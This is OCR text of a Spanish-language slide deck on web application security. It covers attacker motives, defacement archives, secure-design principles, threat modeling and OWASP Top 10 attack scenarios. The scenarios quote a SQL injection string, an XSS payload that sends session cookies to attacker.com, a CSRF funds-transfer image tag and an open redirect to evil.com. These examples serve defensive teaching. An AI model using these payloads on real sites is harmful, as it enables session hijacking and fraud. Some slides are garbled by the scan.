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Objetivos

Exponer las principales problematicas en las aplicaciones web

Crear conciencia en la area de desarrollo sobre la mentalidad de los
atacantes

Entender la impartancia de los “Top 10” identificados en los _

componentes mas comunes dentro de varios entornos - academicos,

éubernamentales y comerciales - con la finalidad de crear consciencia
e seguridad.

Responder la pregunta mas comun:

o ”c'_Lo.s atacantes / ataques son cada vez mejores o nosotros nos estamos
volviendo débiles?”
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Situacion Actual de la « WWW»

Internet = « WWW»

La mayoria de las aplicaciones Web:
> Son de alto riesgo

o Estan mal disefadas

o Estan expuestas

> No estan protegidas

> Tienen fallos comunes

> Son vias de entrada a la infraestructura de la empresa o la
institucion



¢ Porqué atacar aplicaciones web?

Muchas estan disponibles desde Internet
Menor proteccion (Firewall vs WAF vs IDS/IPS)

Generalmente no estan desarrolladas con un esquema
adecuado de seguridad

Los desarrolladores cometen el mismo tipo de errores
En ocasiones han crecido de forma desorganizada

Son aplicaciones muchas veces transaccionales con conexion
a bases de datos y sistemas «back-end»



Aplicaciones Web

Comparten los mismos fallos de otros tipos de
aplicaciones pero tienen algunos exclusivos

1. Valor de la Informacion

o Al ser multi-capa, generalmente se conectan a bases de datos o
servidores centrales o criticos

2. Riesgo

o Las aplicaciones y los servidores en los que se montan tienen
muchos fallos conocidos

3. Probabilidad de Ataque

o Tienen una exposicion muy grande (Internet o Intranet)

°  La mayoria de los ataques a estas aplicaciones no son bloqueados
por los firewalls



Aplicaciones Web
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Estadisticas de Ataques a Web

Principales métodos de ataques oportunistas** observados

ATAQUE DDOS A TRAVES DE LA FUNCION "PINGBACK" DE WORDPRESS

30%

CROSS-SITE SCRIPTING (XSS)

25%

VULNERABILIDAD SHELLSHOCK DE BASH (CVE-2014-6271)

24%

HTTP RESPONSE SPLITTING
7%

ATAQUES DE FUERZA BRUTA EN WORDPRESS
5%

VULNERABILIDAD EN MODULO TIMTHUMB DE WORDPRESS

4%
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Frecuencia de vulnerabilidades

INFORMATION LEAKAGE

35%
B 2014
B 2013
CROSS-SITE SCRIPTING

20%

‘

5%

SQL INJECTION
17%

1

7%

SESSION MANAGEMENT
10%
13%

AUTHENTICATION AND AUTHORIZATION
6%

=
o

%

CROSS-SITE REQUEST FORGERY
1%

6%
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Vulnerabilidades en moviles
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¢Como piensa un adversario?

SIEMPRE va a buscar el camino mas facil

Formas de entrar:
1. Adivinando o descifrando contrasenas
2. Explotando vulnerabilidades en el diseifio o configuracion
de sistemas o equipos

3. Interceptando comunicaciones
4. Utilizando ingenieria social
(casi siempre usan una combinacion de las anteriores)




Adversarios
A DIRIGIDO

o O O SKB Enterprises brinda servicios a muchos clientes, maneja una gran cantidad de
Z transacciones de pago con tarjetas y probablemente tiene datos de los clientes
almacenados en alguna parte. Voy a descubrir como puedo acceder ilegalmente.

e |dentificar primero el objetivo

e SOLO ENTONCES se considera un ataque

e Mas esfuerzo en la planificacién y la ejecucion

* Generalmente dirigido a organizaciones mas grandes

OPORTUNISTA

" Sé como comprometer un servidor web a través de una vulnerabilidad Adobe Cold

- o O O Fusion. Voy a buscar servidores vulnerables en Internet y probar si puedo acceder a

~0®

informacion valiosa, ademds de inyectar cédigo malicioso con malware para infectar
a los visitantes.

Identificar primero la vulnerabilidad y la forma de explotarla («exploit»)

El objetivo no importa, solo debe ser vulnerable para poder atacarlo

*  Minimo esfuerzo

* Generalmente dirigido a organizaciones mas pequefias




«ROI» POR CAMPANA DE «RANSOMWARE»

INVERSION (USD)

Carga -$3,000
— RENTABILIDAD DE
Vector de infeccion - S500 ,
Adquisicion de trafico -$1,800 I N VE RS I O N
Cifrado diario 8600 Gastos totales - $5,900 USD
Gastos totales - $5,900 Ingresos $90,000 USD
INGRESOS Ganancia bruta $84,100 USD
Visitantes 20,000 RO' 1425%
Tasa de infeccion 10%
Porcentaje de éxito 0.5%
Monto de rescate $300 USD
Duracién de la campania 30 dias (3 sem)

Ingresos totales $90,000 USD




«Hacktivismo»

a, lom _jht_'i'ul »m :uu!:m principal escida, ¥

viva AMLO y gque viva Hugo Chavez!




«Defacement»
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@& https://www.zone-h.org/?zh=1 | (Q search

Home News Events Archive Archive ¥ Onhold  Notify Stats Register Login B\ search
Dedicated to all the hackers - Pho3nix (Roulette Cinese)

ZONE-H In Numbers
24/03/2014 Written by Roberto SyS64738 Preatont

News: 4.738
We finally concluded the Hacker Visual Contest through which we collected videoclips and artwork from the hacker world Admins: 6
which we used to assemble the official videoclip for the song “Pho3nix” (Roulette Cinese) dedicated to the hacker world. | Registered Users: 116.658

1 feel obliged to thank all of the participants, credits are added at the end of the clip with a special mention to Christan | Eariy Warning subscriptions: 6081
Milani for the outstanding remix, to Roberto "SyS64738" Preatoni for promoting the idea throughout the hacker world Digital Attacks: 11.317.537

and to Gianluca Zenone aka Alex Dreiser 1o¢_lhe videoclip realization. Attacks On Hold: 106.614
Thanks again to all of you and... enjoy the dlip. Online Users: 138
Joe Raggi (Roulette Cinese) Login
(for what is worth: https://itunes.apple.: it/arti: i 1d286575097) )
Login :

Password :

Sign on | Lost password ?

< January 2016 >
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b~ @ @ https://www.zone-h.org/archive @ | (Q search

News Events Archive Archive # Onhold  Notify Stats Register Login N

[ENABLE FILTERS)
Total notifications: 4,662 of which 310 single ip and 4,352 mass defacements

Legend:

H - Homepage defacement

M - Mass defacement (click to view all defacements of this IP)
R - Redefacement (click to view all defacements of this site)
L - IP address location

¥ - Special def: (special def: are important websites)

Time Notifier H M R L 7 Domain os View
23:17 Mr.Kro002.305 M L legavegetassj2.com/i.htm Linux mirror
23:17 Mr.Kro0o0z.305 . le-holdem.com/i.htm Linux mirror
23:16 Don-2 HM =  www.westport.pro Linux mirror
23:16 Mr.Kro0oz.305 . Ic9-thailand.com/i.htm Linux mirror
23:14 Mr.Kro00z.305 . cyber-versicherung.info/i.htm Linux mirror
23:14 Don-2 HM . stylage.info Linux mirror
23:11 Don-2 HM = www.solingcompany.ru Linux mirror
23:11 Mr.Kro0o0z.305 . cltracking.com/i.htm Linux mirror
23:11 AYYILDIZ H M ™ poseidonserv.com Uinux mirror
23:11 Mr.Kro0oz.305 R ® c-i-f-a.org/i.htm Linux mirror
23:10 Don-2 H M R B8  www.salonbiogenie.ru Unux mirror
23:09 the key40 H M R _20  www.pasternakfindings.co.il Win 2008 mirror
23:09 ::ad( SUOOH: Snad Runex H S www.tricountyrealtywi.com Linux mirror
23:09 Don-2 HM = professional-shop.ru Linux mirror
23:08 Don-2 HM N www.paris-berlin.ru Linux mirror
23:07 Don-2 HM =  www.solingparfum.ru Linux mirror




zone-h.org (3/5

@ (f;) @ https://www.zone-h.org/archive/special=1 (¢ ] ‘Q search

Home News Events Archive Archive Onhold Notify Stats Register Login N [search...

[ENABLE FILTERS]
Total notifications: 202,894 of which 83,593 single ip and 119,301 mass defacements

Legend:

H - Homepage defacement

M - Mass defacement (click to view all defacements of this IP)
R - Redefacement (click to view all defacements of this site)
L - IP address location

- Special def: (special def; are important websites)

Date Notifier H M R L % Domain os View
2016/01/13 i3r_cod3 M - % pn-tanjabtimur.go.id/a.txt Linux mirror
2016/01/13 darkshadow-tn HMR BN office.yit.gov.my Linux mirror
2016/01/13 Djamel11154 H M B0 www.ville-cuiney.fr Linux mirror
2016/01/13 AlfabetoVirtual R B8 % yit.gov.my/alfa.htm| Linux mirror
2016/01/13 Laakel En Person HM  * www.stroy-bko.gov.kz Linux mirror
2016/01/13 Freedom Cry M 2 ¥ taxeszone13dhaka.gov.bd/islam.htm Win 2008 mirror
2016/01/13 Freedom Cry M S % taxeszonel 1dhaka.gov.bd/islam.htm Win 2008 mirror
2016/01/13 Freedom Cry M = A taxeszonel2dhaka.gov.bd/islam.htm Win 2008 mirror
2016/01/13 /PionHitam M - % pa-bondowos0.go.id/x.php Linux mirror
2016/01/12 BlackHeart H R whs % www.tdb.gov.in Linux mirror
2016/01/12 Fallaga Team = www.mod.go.ke/hallo.html| Linux mirror
2016/01/12 Freedom Cry MR 5% stevtabbsydp.gos.pk/islam.htm Win 2008 mirror
2016/01/12 Nofawkx Al I 1 % www.comune.ortadiatella.ce.it/... Win 2003 mirror
2016/01/12 VOTRO R % www.government.bg/cgi-bin/e-cm... Linux mirror
2016/01/12 TrYaG Al Arab HMR BE*x seha.alriyadh.gov.sa Win 2008 mirror
2016/01/12 GaSSpEr H i Www.ecocampus.ens. fr Linux mirror




zone-h.org (4/5

@& https://www.zone-h.org/archive/published=0| (o ] /Q Search

Home News Events Archive Archive % Onhold Notify Stats Register Login B\ [search...

[ENABLE FILTERS]
Total notifications: 106,616 of which 106,616 single ip and 0 mass defacements

Legend:

H - Homepage defacement

M - Mass defacement (dick to view all defacements of this IP)
R - Redefacement (click to view all defacements of this site)
L - IP address location

¥ - Special def: (special def: are important websites)

We don't accept notificati gh email, IP add notificati notificati with fake and/or created subdomains by notifier or with
wrong attack methods selected.

Time Notifier H MR L % Domain os View
23:28:32 Fallaga Team H page.csmiublin.pl Linux mirror
23:24:41 wal3XzY3 vims.notjustbrowsing.org/w.htm Win 2008 mirror
23:17:44 wal3XzY3 Just-think.carlos-pina.stidna.... Linux mirror
23:14:33 AYYILDIZ siriusms.com/wp/ Linux mirror
23:12:38 w4l3XzY3 fficefurni masji Linux mirror
23:12:36 the key40 H yozmotgroup.co.il Unknown mirror
23:06:40 Owner Dzz backoffice.gowork.com.br/index... Unux mirror
23:06:14 Owner Dzz guiabrasilnet.com.br/index.php Linux mirror
23:06:13 Owner Dzz frbinterni.com.br/index.php Linux mirror
23:06:08 Owner Dzz escritoriovirtual com. Linux mirror
23:06:01 Owner Dzz decoradoradeinteriores.com.br/... Uinux mirror
23:05:56 Owner Dzz coworking-itaim.com.br/index.php Linux mirror
23:05:55 Owner Dzz coworking-farialima.com.br/ind... Linux mirror
23:05:38 Blid Yesser www.ivent.civ.pl/blid.php Linux mirror
23:05:32 Global Security H designworx.ca Linux mirror




zone-h.org (5/5

@ @ & https://www.zone-h.org/archive & | (Q search

Home News Events Archive Archive Onhold  Notify Stats Register Login N

NOTIFIER DOMAIN .mx
Spedial defacements only M Fulitext/ M Onhold ( only
Date : ALL :  Apply filter

Total notifications: 5,435 of which 2,345 single ip and 3,090 mass defacements

Legend:

H - Homepage defacement

M - Mass defacement (dlick to view all defacements of this IP)
R - Redefacement (click to view all defacements of this site)
L - IP address location

% - Special (special def: are important websites)

Date Notifier H MR L % Domain os View
2016/01/12 AnonJal 'l # web gob.mx/g /a... Linux fmirroq
2016/01/11 darkshadow-tn # revistapecuaria.inifap.gob.mx/tmp Unux mirror
2016/01/06 Error 7rB HM % owww gob.mx Uinux mirror
2016/01/05 imam M =5 % prospera.inadem.gob.mx/x.htm Uinux mirror
2016/01/05 imam M S8 % www.incubadoras.inadem.gob.mx/... Linux mirror
2016/01/05 imam M % tuprimercredito.inadem.gob.mx/... Unux mirror
2016/01/05 imam M ™ % fronteras.inadem.gob.mx/x.htm Unux mirror
2016/01/05 imam M S % www.redi inadem.gob. Unux mirror
2016/01/05 imam M S5 & www.inadem.gob.mx/x.htm Linux mirror
2016/01/04 imam M S % www.redemprendedor.gob.mx/x.htm Unux mirror
2016/01/04 imam R ™ % semanadelemprendedor.gob.mx/x.htm Unux mirror
2016/01/03 8I0S H M B www.siicyt.gob.mx Linux mirror
2016/01/03 BIOS H # www.conacyt.gob.mx Linux mirror
2016/01/03 B8I0S H R S www gob.mx Unux mirror
2016/01/03 Fallaga Team LR gob. htmi Unux mirror

2016/01/02 fallaga team H M S5 % poblanojitos.pue.gob.mx Linux mirror
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La Base del Codigo Seguro

1.Minimizar los privilegios
o Usuarios del SO
o Usuarios de la BDs
o Usuarios dentro de la aplicacién

2.Minimizar la superficie de ataque
° Todo se apaga o se deshabilita

> Se va prendiendo, abriendo o habilitando lo minimo requerido para que algo
funcione

o Se valida toda la informacidon externa

3.Garantizar seguridad a profundidad
o Se aseguran los sistemas operativos y los servidores web y base de datos
o NUNCA «Security through obscurity»



Ejemplo: SD3+C

El estandar actual de Microsoft para disefio de software:

Seguro por Disefio («Secure Design»)
° Arquitectura y codigo seguro
o Analisis de riesgos
> Reduccidén de Vulnerabilidades

Seguro por Default («Secure by Default»)
> Reducir la superficie de ataque
o Apagar todos los “features” que no sean usados
o Minimos privilegios

Seguro al Instalar («Secure Deployment»)
° Proteccion: deteccion, defensa, recuperacion y administracion
° Proceso: guias de arquitectura y de implantacion

o ° 1
Pe rsonas: entrenamiento http://www.microsoft.com/security/sdl/default.aspx



Estandares de Desarrollo Seguro
1.Software Assurance Maturity Model (SAMM)

o http://www.opensamm.org/

2.SD3+C / PD3+C
° https://msdn.microsoft.com/en-us/library/windows/desktop/cc307406.aspx

3.CERT Coding Standards — CERT—C

o https://www.securecoding.cert.org/confluence/display/seccode/SEI+CERT+Coding+Sta
ndards

4.OWASP
° https://www.owasp.org/index.php/OWASP_SAMM _Project

o https://www.owasp.org/index.php/Category:OWASP_Application_Security Verification
_Standard_Project

Certificaciones
o CSSLP - 1SC2



Modelado de Riesgos

{ Or. Boblbs Jolt Award Finalist m.}z Adam Shostack

threat
modeling

designing for SECurity

Threat
Modeling



dQueé es Modelado de Riesgos?

Modelado de riesgos es un analisis enfocado en
seguridad que:

> Ayuda al equipo de cddigo a entender donde es mas vulnerable
el producto

° Evalua los riesgos a una aplicacion

> Busca reducir los riesgos de seguridad
° Encuentra activos

> Descubre vulnerabilidades
o |dentifica amenazas
> Ayuda a formar las bases de las especificaciones del diseho



Beneficios del Modelado de Riesgos

Ayuda a entender mejor la aplicacion
Permite encontrar problemas
Ayuda a identificar problemas complejos

Facilita la integracidon de nuevos miembros al equipo de codigo

Ayuda a mantener un direccion homogénea en el disefio




Proceso de Modelado de Riesgos

Identificar Activos
Crear Arquitectura

Descomponer la Aplicacidn

1.

2

3

4. Identificar Riesgos
5 Documentar Riesgos
6

Clasificar Riesgos



Riesgos en Aplicaciones

Agentes Vectores Debilidades Controles Impactos Impactos
de Amenaza de Ataque de Seguridad de Seguridad Técnicos al Negocio

% Ataque Debilidad Control Impacto |
—I Recurso
% *  Ataque F ) Debilidad Control Impacto

Ataque Debilidad Impacto

Recurso

Debilidad Control ¢




Riesgos Cualitativos

Agente Vectores [ Prevalencia de || Detectabilidad | Impacto Impacto
de Amenaza || de Ataque | Debilidades |} de Debilidades § Técnico | al Negocio

Especifico

Especifico

aplicacion

aplicacion
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iQué es OWASP?

Grupo de voluntarios

Produce documentacion, herramientas y estandares gratuitos

Calidad profesional y de cédigo abierto

OWASP

The Open Web Application Security Project




9Y-E£T0Z BA3NU B| U3 £\-0TOZ UOI BpeuoIsn

apodsuel] ap ede) e| ua ajuadyYnsu] UoIdIA0Id — 6Y

SOpEpI|EA OU SOJAUD A S3UOIIIAIIPAY — 0TV

SOPEPI|BA OU SOIAU33J A SaUO0IIIIIPIY - OTV

SEpI20U0) SApEpI|jIqeRIAUINA U0d s3juauodwo) ap osf — 6Y

<pepun3as ap ugpeindyuo) eson}dajaq — :9y ap onup>

(44S2) sopeznu) sonis ua sauopPUad Ip UgEdYIs|e] — Y

Au_m_wuw SOopeznJt) solis us sauodlod I9p uonedyisjed - gy

S2uoRun4 se| e 0sa2dy ap |OJJU0) 9P eRUISNY — £V

& Uud epeljdwy — YN B 0S330Y 3P UQIIIISIY 3P Bjjed — 8Y

s3|qIsuas sojeq ap uoiisodx3 — gy

<6V EpeUOISn4 — oun8asu| ooyeSoidu) ojuslweUIBWY — LY

£393.4J00U| pEPLINSas ap uopelnSyuo) - 5y

pepungas ap ugeinSyuo) esonydyeqg — 9vY

s032lqQ e einSasu| 30341 BIDUIRY — bV

s03alqQ e eJnSasu| B303JiQ BIDUIIIOY — b

(sSX) sopezni) sonls Ua SOpUBWO) 3P BIIUINIIS — £y

($SX) sopezn.) soLIS U3 SOPUBWO) 3P BIDUANIAS — 2V

S3UOIS3S AP UOLSAD A UOIDEIUIINY 3P BPIPIRd — TV

S2UOIS3S AP UOLSAD A UOIDIEORUIINY 3P epIpJad — EY

uoPIAuU| - TV

uoIdAUl - TY

(oaanN) €102 - 0T doL dSYMO

(o1n31d) 0T0Z - 0T doL dSYMO




OWASP To

0 10 - Riesgos

desgo | orfb s el ot e ] s e s e
Anens Explotabilidad Prevalecencia Detectabilidad Impacto

Al-Inyeccién f:f;:?;:,g: COMUN PROMEDIO f:ﬁ:z"‘c’,g:
A2-Autenticacién IE::epcl‘lfc';:ig: PROMEDIO PROMEDIO f:‘;:ﬁf;‘:,g:
A3XSS s Aplicacén | PROMEDIO moberapo | [PETTe
b | ko comun moberapo | [AEEE S
Configuracién. | Ia aplicacion COMUN moberapo | [PETEE R
Datos senibies. | 1a apicacion [IDRSE POCO COMUN PROMEDIO et
Control Funciones | ia Aplicacién COMON PROMEDIO moperapo | [EeCe St
AS-CSRF fa‘m?;:‘:: PROMEDIO COMUN MODERADO f:';:‘,:':af,g:
Vainerapies o> | laaplicacien | PROMEDIO DIFfciL moperapo | [ReCe
rovaiidades - | Ia aplicacién [IRRPROMEDIO POCO COMUN moberapo | (AR
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Al - Inveccion
Ejemplos de Escenarios de Ataques

Escenario #1: La aplicacién usa datos no confiables en la
construccién de la siguiente instruccion SQL vulnerable:

String query = "SELECT * FROM accounts WHERE

custiD="" + request.getParameter("id") + "'";

Escenario #2: De manera similar, si una aplicacion confia ciegamente
en el framework puede resultar en consultas que aun son
vulnerables, (ej., Hibernate Query Language (HQL)):

Query HQLQuery = session.createQuery(“FROM accounts
WHERE custID="" + request.getParameter("id") + "'");

En ambos casos, al atacante modificar el parametro ‘id’ en su
navegador para enviar: 'or '1'="1. Por ejemplo:

http://example.com/app/accountView?id=' or '1'='1

Esto cambia el significado de ambas consultas regresando todos los
registros de la tabla “accounts”. Ataques mas peligrosos pueden
modificar datos o incluso invocar procedimientos almacenados.
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A2 — Autenticacion y Sesiones
Ejemplos de Escenarios de Ataques

Escenario #1: Aplicacidn de reserva de vuelos que soporta re-
escritura de URL poniendo los ID de sesion en la propia direccion:

http://example.com/sale/
saleitems;jsessionid=2P00C2JDPXMOOQSNDLPSKHCJUN2JV?
dest=Hawaii

Un usuario autenticado en el sitio quiere mostrar la oferta a sus
amigos. Envia por correo electrénico el enlace anterior, sin ser
consciente de que esta proporcionando su ID de sesidn. Cuando sus
amigos utilicen el enlace utilizaran su sesidn y su tarjeta de crédito.

Escenario #2: No se establecen correctamente los tiempos de
expiracion de la sesidn en la aplicacion. Un usuario utiliza un
ordenador publico para acceder al sitio. En lugar de cerrar la sesion,
cierra la pestafia del navegador y se marcha. Un atacante utiliza el
mismo navegador al cabo de una hora, y ese navegador todavia se
encuentra autenticado.

Escenario #3; Un atacante interno o externo a la organizacion,

consigue acceder a la base de datos de contrasefias del sistema. Las

contrasefas de los usuarios no se encuentran cifradas, exponiendo
-todaslas.contrasefiasalatacante
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A3 — “Cross Site Scripting”

Ejemplos de escenarios de Ataques

La aplicacién utiliza datos no confiables en la construccién del
siguiente cédigo HTML sin validarlos o codificarlos:

(String) page += "<input name="creditcard' type="TEXT"
value="" + request.getParameter("CC") + "">";

El atacante modifica el parametro “CC” en el navegador:

"><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
foo="+document.cookie</script>'.

Esto causa que el identificador de sesion de la victima sea enviado al
sitio web del atacante, permitiendo al atacante secuestrar la sesion
actual del usuario.

Notar que los atacantes pueden también utilizar XSS para anular
cualquier defensa CSRF que la aplicacién pueda utilizar. Ver A8 para
informacidén sobre CSRF.
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A4 — Referencia Insegura a Objs.

Ejemplos de escenarios de ataques

La aplicacién utiliza datos no verificados en una llamada SQL que
accede a informacion sobre la cuenta:

String query = "SELECT * FROM accts WHERE account = ?";

PreparedStatement pstmt =
connection.prepareStatement(query, ... );

pstmt.setString( 1, request.getparameter("acct"));
ResultSet results = pstmt.executeQuery( );

Si el atacante modifica el parametro “acct” en su navegador para
enviar cualquier numero de cuenta que quiera. Si esta accion no es
verifica, el atacante podria acceder a cualquier cuenta de usuario, en
vez de a su cuenta de cliente correspondiente.

http://example.com/app/accountinfo?acct=notmyacct
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A5 — Configuracion insegura

Ejemplos de escenarios de Ataque

Escenario #1: La consola de administrador del servidor de
aplicaciones se instalé automaticamente y no se ha eliminado. Las
cuentas por defecto no se han modificado. Un atacante descubre las
paginas por defecto de administracién que estan en su servidor, se
conecta con las contraseinas por defecto y lo toma.

Escenario #2: El listado de directorios no se encuentra deshabilitado
en su servidor. El atacante descubre que puede simplemente listar
directorios para encontrar cualquier archivo. El atacante encuentray
descarga todas sus clases compiladas de Java, las cuales decompila 'y
realiza ingenieria inversa para obtener todo su cédigo fuente.
Encuentra un fallo serio de control de acceso en su aplicacién.

Escenario #3: La configuracion del servidor de aplicaciones permite
que se retornen la pila de llamada a los usuarios, exponiéndose
potencialmente a fallos subyacentes. A los atacantes les encanta que
les proporcionen informacién extra con los mensajes de errores.

Escenario #4: El servidor de aplicaciones viene con aplicaciones de
ejemplo que no se eliminaron del servidor de produccidn. Las
aplicaciones de ejemplo pueden poseer fallos de seguridad bien
conocidos que los atacantes pueden utilizar para comprometer su
servidor.
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A6 — Datos Sensibles

Ejemplos de escenarios de Ataques

Escenario #1: Una aplicacion cifra los numeros de tarjetas de crédito
en una base de datos utilizando cifrado automatico de la base de
datos. Esto significa que también se descifra estos datos
automaticamente cuando se recuperan, permitiendo por medio de
una debilidad de inyeccidon de SQL recuperar numeros de tarjetas en
texto claro. El sistema deberia cifrar dichos ndmero usando una
clave publica, y permitir solamente a las aplicaciones de back-end
descifrarlo con la clave privada.

Escenario #2: Un sitio simplemente no utiliza SSL para todas sus
paginas que requieren autenticacion. El atacante monitorea el
trafico en la red (como ser una red inaldmbrica abierta), y obtiene la
cookie de sesion del usuario. El atacante reenvia la cookie y
secuestra la sesion, accediendo los datos privados del usuario.

Escenario #3: La base de datos de claves usa hashes sin salt para
almacenar las claves. Una falla en una subida de archivo permite a
un atacante obtener el archivo de claves. Todas las claves pueden
ser expuestas mediante una tabla rainbow de hashes precalculados.
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A7 — Control de Acceso

Ejemplos de Escenarios de Ataque

Escenario #1: El atacante simplemente fuerza la navegacion hacia las
URLs objetivo. La siguiente URLs requiere autenticacion. Los
derechos de administrador también son requeridos para el acceso a
la pagina “admin_getappinfo”.

Si un usuario no autenticado puede acceder a ambas paginas, eso es
una vulnerabilidad. Si un usuario autenticado, no administrador,
puede acceder a “admin_getappInfo”, también es una

vulnerabilidad, y podria llevar al atacante a mas paginas de
administracion protegidas inadecuadamente.

Escenario #2: Una pagina proporciona un parametro de “accion”
para especificar la funcién que ha sido invocada, y diferentes
acciones requieren diferentes roles. Si estos roles no se verifican al
invocar la accioén, es una vulnerabilidad
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V4

A8 — “Cross Site Request Forgery’

Ejemplos de Escenarios de Ataque

La aplicaciéon permite al usuario enviar una peticion de cambio de
estado no incluya nada secreto. Por ejemplo:

http://example.com/app/transferFunds?
amount=1500&destinationAccount=4673243243

De esta forma, el atacante construye una peticidon que transferira el
dinero de la cuenta de la victima hacia su cuenta. Seguidamente, el
atacante inserta su ataque en una etiqueta de imagen o iframe
almacenado en varios sitios controlados por él de la siguiente forma:

<img src="http://example.com/app/transferFunds?
amount=1500&destinationAccount=attackersAcct#” width="0"

height="0" />

Si la victima visita alguno de los sitios controlados por el atacante,
estando ya autenticado en example.com, estas peticiones
falsificadas incluiran automaticamente la informacion de la sesién
del usuario, autorizando la peticion del atacante.
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A9 — Componentes con vulns

Ejemplos de Escenarios de Ataques

Los componentes vulnerables pueden causar casi cualquier tipo de
riesgo imaginable, desde trivial a malware sofisticado disefiado para
un objetivo especifico. Casi siempre los componentes tienen todos
los privilegios de la aplicacién, debido a esto cualquier falla en un
componente puede ser serio, Los siguientes componentes
vulnerables fueron descargados 22M de veces en el 2011.

- Debido a que no otorgaba un
token de identidad, los atacantes podian invocar cualquier
servicio web con todos los permisos.(Apache CXF es un
framework de servicios, no confundir con el servidor de
aplicaciones de Apache.)

Spring Remote Code Execution — El abuso de la implementacidn

en Spring del componente “Expression Languaje” permitio a los
atacantes ejecutar cddigo arbitrario, tomando el control del
servidor. Cualquier aplicacion que utilice cualquiera de esas
bibliotecas vulnerables es susceptible de ataques.

Ambos componentes son directamente accesibles por el usuario de
la aplicacién. Otras bibliotecas vulnerables, usadas ampliamente en
una aplicacion, puede ser mas dificiles de explotar.
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Ejemplos de Escenarios de Ataque

Escenario #1: La aplicacidn tiene una pagina llamada “redirect.jsp”

gue recibe un Unico parametro llamado “url”. El atacante compone
una URL maliciosa que redirige a los usuarios a una aplicacion que

realiza phishing e instala cddigo malicioso.

A10 — Redireccion inva

http://www.example.com/redirect.jsp?url=evil.com

Escenario #2: La aplicacidn utiliza reenvios para redirigir peticiones
entre distintas partes de la aplicacion. Para facilitar esto, algunas
paginas utilizan un parametro para indicar donde deberia ser
dirigido el usuario si la transaccion es satisfactoria. En este caso, el
atacante compone una URL que evadira el control de acceso de la
aplicacién y llevara al atacante a una funcién de administracion a la
gue en una situacion habitual no deberia tener acceso.

http://www.example.com/boring.jsp?fwd=admin.jsp



Recomendaciones

v/ Sistemas operativos y aplicaciones con actualizaciones y parches

v'Validar todas las operaciones de entrada y salida asi como las
delimitaciones de todas las series

v'Revisar siempre el tamafio de los buffers antes de manipularlos

v'Evitar usar funciones que no revisan delimitaciones: strcpy(),
strcat(), sprintf(), gets(), etc.

v'Programas ejecutados con el minimo nivel de privilegios para
realizar la tarea

v'Usar lenguajes que prevengan los buffer overflows (Perl, Java,
.Net, etc.)

v'Usar librerias y herramientas al disefiar y compilar que

irevenian este tiio de vulnerabilidades



Conclusiones

“éLos atacantes / ataques son cada vez mejores o
nosotros nos estamos volviendo débiles?”

Hay muchas formas de atacar una aplicacidn
La defensa requiere que se corrijan todos los aspectos por separado
Entre antes en el proceso se comience, mejor va a quedar la seguridad

Un sélo punto débil es suficiente para que un atacante penetre
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